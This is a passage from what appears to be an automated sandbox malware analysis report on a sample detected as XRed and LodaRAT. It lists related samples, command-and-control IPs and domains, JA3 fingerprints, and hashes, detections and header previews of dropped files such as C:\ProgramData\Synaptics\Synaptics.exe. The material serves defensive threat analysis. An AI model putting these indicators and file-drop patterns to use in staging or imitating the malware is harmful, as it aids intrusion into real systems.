freedns.afraid.org	FGNEBI.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	docx.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	hoaiuy.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	222.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	LWQDFZ.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	JPS.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	KOGJZW.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Machine-PO.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	AYRASY.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	222.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VOXILITYGB	FGNEBI.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	sdlvrr.msi	Get hash	malicious	LodaRAT	Browse	172.111.138.100
	LWQDFZ.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	JPS.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	KOGJZW.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	Machine-PO.exe	Get hash	malicious	XRed	Browse	172.111.138.100
	AYRASY.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	222.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	mmi8nLybam.exe	Get hash	malicious	LodaRAT	Browse	172.111.138.100
	Supplier 0202AW-PER2 Sheet.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
AWKNET-LLCUS	FGNEBI.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	docx.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	hoaiuy.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	222.msi	Get hash	malicious	XRed	Browse	69.42.215.252
	LWQDFZ.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	JPS.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	KOGJZW.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	Machine-PO.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	AYRASY.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	222.exe	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	FGNEBI.exe	Get hash	malicious	LodaRAT, XRed	Browse	142.250.186.142 142.250.186.97
	docx.msi	Get hash	malicious	XRed	Browse	142.250.186.142 142.250.186.97
	hoaiuy.msi	Get hash	malicious	XRed	Browse	142.250.186.142 142.250.186.97
	222.msi	Get hash	malicious	XRed	Browse	142.250.186.142 142.250.186.97
	LWQDFZ.exe	Get hash	malicious	LodaRAT, XRed	Browse	142.250.186.142 142.250.186.97
	JPS.exe	Get hash	malicious	LodaRAT, XRed	Browse	142.250.186.142 142.250.186.97
	KOGJZW.exe	Get hash	malicious	LodaRAT, XRed	Browse	142.250.186.142 142.250.186.97
	Machine-PO.exe	Get hash	malicious	XRed	Browse	142.250.186.142 142.250.186.97
	AYRASY.exe	Get hash	malicious	LodaRAT, XRed	Browse	142.250.186.142 142.250.186.97
	222.exe	Get hash	malicious	LodaRAT, XRed	Browse	142.250.186.142 142.250.186.97

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\Synaptics\RCX600B.tmp	hoaiuy.msi	Get hash	malicious	XRed	Browse
	222.msi	Get hash	malicious	XRed	Browse
	Machine-PO.exe	Get hash	malicious	XRed	Browse
	222.exe	Get hash	malicious	LodaRAT, XRed	Browse

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Synaptics\RCX600B.tmp

Download File

Process:	C:\Users\user\Desktop\Purchase-Order.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	771584
Entropy (8bit):	6.638013190381294
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9ICXr:ansJ39LyjbJkQFMhmC+6GD9x
MD5:	ACA4D70521DE30563F4F2501D4D686A5
SHA1:	6C2BAA72EA5D08B6583893B01001E540213F4AAF
SHA-256:	449B6A3E32CEB8FC953EAF031B3E0D6EC9F2E59521570383D08DC57E5FFA3E19
SHA-512:	DA806BD4AC02C45C17ED5D050428B3E7B15E8F148ACB156CFB41EAB3E27C35FA91AB1A55D18C6EF488A82D3379ABF45421432E2EFAF2FAE4968C760D42215A7C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\RCX600B.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\RCX600B.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Joe Sandbox View:	Filename: hoaiuy.msi, Detection: malicious, Browse Filename: 222.msi, Detection: malicious, Browse Filename: Machine-PO.exe, Detection: malicious, Browse Filename: 222.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe

Download File

Process:	C:\Users\user\Desktop\Purchase-Order.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2205184
Entropy (8bit):	7.057045739046609
Encrypted:	false
SSDEEP:	49152:hnsHyjtk2MYC5GDfkwkn9IMHealA0Rcj2sdS2CFAaPCSO:hnsmtk2aBdnV94212CRPCt
MD5:	63A057389438A0B287D32E31149D6AD4
SHA1:	F2114DEA9D348008317751D413BDF5D4FC047513
SHA-256:	1150FC6830ED3E383726E18B447D840F62F74B30D072291762A70D6C7600CB45
SHA-512:	A2CABA5E5E38C282E224A1B381BFA7CE140AB018B118C4FBD224D9444C4380A664131B35B21D05AAB5B041683A3095A33B442B288505A75D93989D4A1DDBD096
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..........................."..................@..............................B......0....................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...0...........................@..P....................................@..P........................................................................................................................................

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Purchase-Order.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\1AfukGN.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270535329419833
Encrypted:	false
SSDEEP:	24:GgsF+0oSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+b+pAZewRDK4mW
MD5:	E094B8CCC16BC722C14035E19E5AD5C3
SHA1:	DA0097CF342EF9997ACCC46B617E3AA9F04A0C09
SHA-256:	DEBED4DC1240C4B42AF91B83E4B37CFE8F75525A7AA62720EE3B6FAE16D08EE2
SHA-512:	69C71EFA1EA9CE8E3AEE14BAB66DCEA90BEF7AF20CAFD17FE9E5A2280EDF5185C154A5DDE9CC60EE2D95A3E52974B1EFC28F4605C985D539777E4D14B79DDBA8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WjJEzg044rE3ZFQCf6e__Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\1EVexRp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260045036862066
Encrypted:	false
SSDEEP:	24:GgsF+0P32SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+MG+pAZewRDK4mW
MD5:	AB80D11A56D9779D60EE98F9EC33E544
SHA1:	C27D52FD5E3BAA378726AAF1EE2FA78A6116BE2B
SHA-256:	AE01CAA5E1FF53E8267B60C45FDB751578DC717CAB07348EF50FD8B094D19205
SHA-512:	1EB5B67E92E1E79E1E2A215D0B639EAC2BBB55E63EBBF5D3B7FA90954FAC45B9D1E03C20459B85131ADC748B92E3A4D522C1A6609F923953BD76E109B68B5F2E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ltYKMhfqfa-YaLH__nzX0A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\1HyaHl2.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263086221338913
Encrypted:	false
SSDEEP:	24:GgsF+0gXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+1+pAZewRDK4mW
MD5:	C3AB65FA9C3880AEA78CB6BD14772FEE
SHA1:	0592CEBCB5ECAA5839033B985AC0AF281B0CD64A
SHA-256:	07D1E7F701524FE1565F3E2DDAE379C74A235FF33293A5F1C6F1509BCAFA9DB2
SHA-512:	C2D20DB6BE3BCFF5EF1D9A39B5A2B9EB7AB3025D185C690D2A42F7C01D4193DDF20C450CD3893610071D78625A06B4A0EA84CA228435DBDD7243046BAA7594A3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="eMBflWoWoQWzdqjzrJwsQA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\2CtaiXL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267582033898697
Encrypted:	false
SSDEEP:	24:GgsF+0Yv/DSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+zb+pAZewRDK4mW
MD5:	5BD029B6327772447D997172B46330DB
SHA1:	5D980E6D1D49507C9145401644DF0D05BC337614
SHA-256:	9C414274F247FD530F63A94A10C6DADE2C1BED920C9F73BD2807318E71B1AEA5
SHA-512:	F289D3B04F9835E50F5BC4A2572EDA0C79ECA47E752E35A5DD4D41B92AF2B2782C5816F1BC2BD0C93F92D74AB5A0E25275DF21DEF3E8CB5D3569B455B00E15DF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="SSQ1LiXV1TO2lmImJyeF4A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\2PJzoek.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256943899528487
Encrypted:	false
SSDEEP:	24:GgsF+0IzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+rz+pAZewRDK4mW
MD5:	1463061B7B3627A0970C16FAD071985C
SHA1:	154F3C7DAF4C6B736B532070E1FE09924292BE2A
SHA-256:	B9C51D2A3EE5345A48443B71DDA498F2BDF76FE42F727AFF9D9157D2988F576A
SHA-512:	D8BE76C8B885D23641F052B04355BDD22CA0CB0DBFF083FF90357B88F7EE570023590FB1D39EB4903E969DDF92CA984170C596F5294EF9C126978338E2C5658E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="tfPIHu8spbbeSs1uVRFPfw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\2WWl22Y.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268069040507226
Encrypted:	false
SSDEEP:	24:GgsF+0nSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+I+pAZewRDK4mW
MD5:	5F1ED680D47943F627B2748C478392EF
SHA1:	EAF7363F3ECF75EAB25A5CA98D41C03C8E6E6BDC
SHA-256:	D802F6153A15760FF5E7EF086AA5B349FA17EA726FF85F629C7E7A474BEDADCE
SHA-512:	B2222B81BD697728AF70761205E7F0B66D679BB43B0F26EB11242374E192D7EA2C588A666F49698FAA1A61E19ECA11402A26F720BCBC1A893206DF561BF0AB68
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="aEBS_vYctgO2mIAQBRcD8w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\35MjVRG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259263379630682
Encrypted:	false
SSDEEP:	24:GgsF+079gSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Ai+pAZewRDK4mW
MD5:	DBD0155EC92010C092CB1FB3E46D2FDA
SHA1:	A53951D24DE28A1D6AD60524E4E92C9DAF3DC135
SHA-256:	0CB7B25575D41B9278789562448E9E72AB0A501EDF60A76A7DD9F7015B506CF8
SHA-512:	B73B54BA7FA99D5B7B14B323FD62A1F3184DD057BFC0FA0166BF58060AA87AD4A77B11A7EE9A00F637F36081BAB513F0D3ABF8E51A91E55C24D3A43AEB3D234E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="MsHLxSdaB0dNJUg9xuUfEw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\3RJztHk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.258270721857072
Encrypted:	false
SSDEEP:	24:GgsF+0cSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+/+pAZewRDK4mW
MD5:	9F9CB6839A4898040E1DFD5D2D72F9DC
SHA1:	73FAB8CEDE73BB2BAA83E08728444FA19CAB398A
SHA-256:	4BFB9A58660F4FA2B8C68B81C17EACF2723EF7954461AFECA4A24D2279C133B6
SHA-512:	EC2853B2B55BF9BF0D83C2BB3CB0127B3FC0D62411EFE29AC466C81C18CAA94BEFEA2256866DBDFB0416EC5493239543E8715BD186AEE73DDBA69551279DAAEB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FrytZuqRiwEZzEj7s-bTDw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\3rSfvDa.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.268725977371007
Encrypted:	false
SSDEEP:	24:GgsF+0sNCSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+6+pAZewRDK4mW
MD5:	A575579F6D2DB594D2BC122D215EFA2C
SHA1:	A6FC2B70ACEF3033F9F5AB88FCAED52F80FF50E6
SHA-256:	82144CCCC4F0833BD04392571FCA01A49F1B0FF33DE9B0545DE69FFAA2171305
SHA-512:	8076904DDF916946FF065B89A48714E22C351709645E04F2EEAC8E2B2F45DA0E472FD0C284B2D4E7D0E92F177EEE05D1CB9B38E6087C691E5A0472117DB71A80
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4CPTXkGTtTH3U6IRmqfsrw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\57MkgyQ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.273452833879324
Encrypted:	false
SSDEEP:	24:GgsF+0HSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+M+pAZewRDK4mW
MD5:	D1CAC889D573ED07A56943C07C7B1C29
SHA1:	FD6DA5AF1088EA45AA3CBF94095B9FF9795852B7
SHA-256:	CD8970EB47566798D833AD11FD89573915B623C27E0FC5D5AACC59DAD41D27E7
SHA-512:	CA91FCFED4F37493ABC8CDF28D0175F90B4103A3B941C47FFD7FEA525E3371169A8C695EB05380641BA3A679791F7E3EFDFF30F1A722E75C75919D667161A48B
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5xWXjdhWBT5W-HSqVMbZXg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5mhC9cq.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271086932474392
Encrypted:	false
SSDEEP:	24:GgsF+0DTpSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+gTp+pAZewRDK4mW
MD5:	0D44F71FECAA20AC9DDB2052168017CD
SHA1:	65482EB8264946D0D137282B992F0499A0B13F34
SHA-256:	26B5667062AAC81BF18D77944E761BE737DC0F94AF2821793F26F4CD3CE73D04
SHA-512:	E73A020558DD0FEBA607D09CF4C5CB3ADD1262014006CBBD2D25BA6EF562E5F96998F63B25A7C9D3952DC431D945A425E4E6A54CCC4A32577662272FDC3E93DF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="2RqG7jCIaFJJpCFYBrAhrw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\6EG4jrA.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
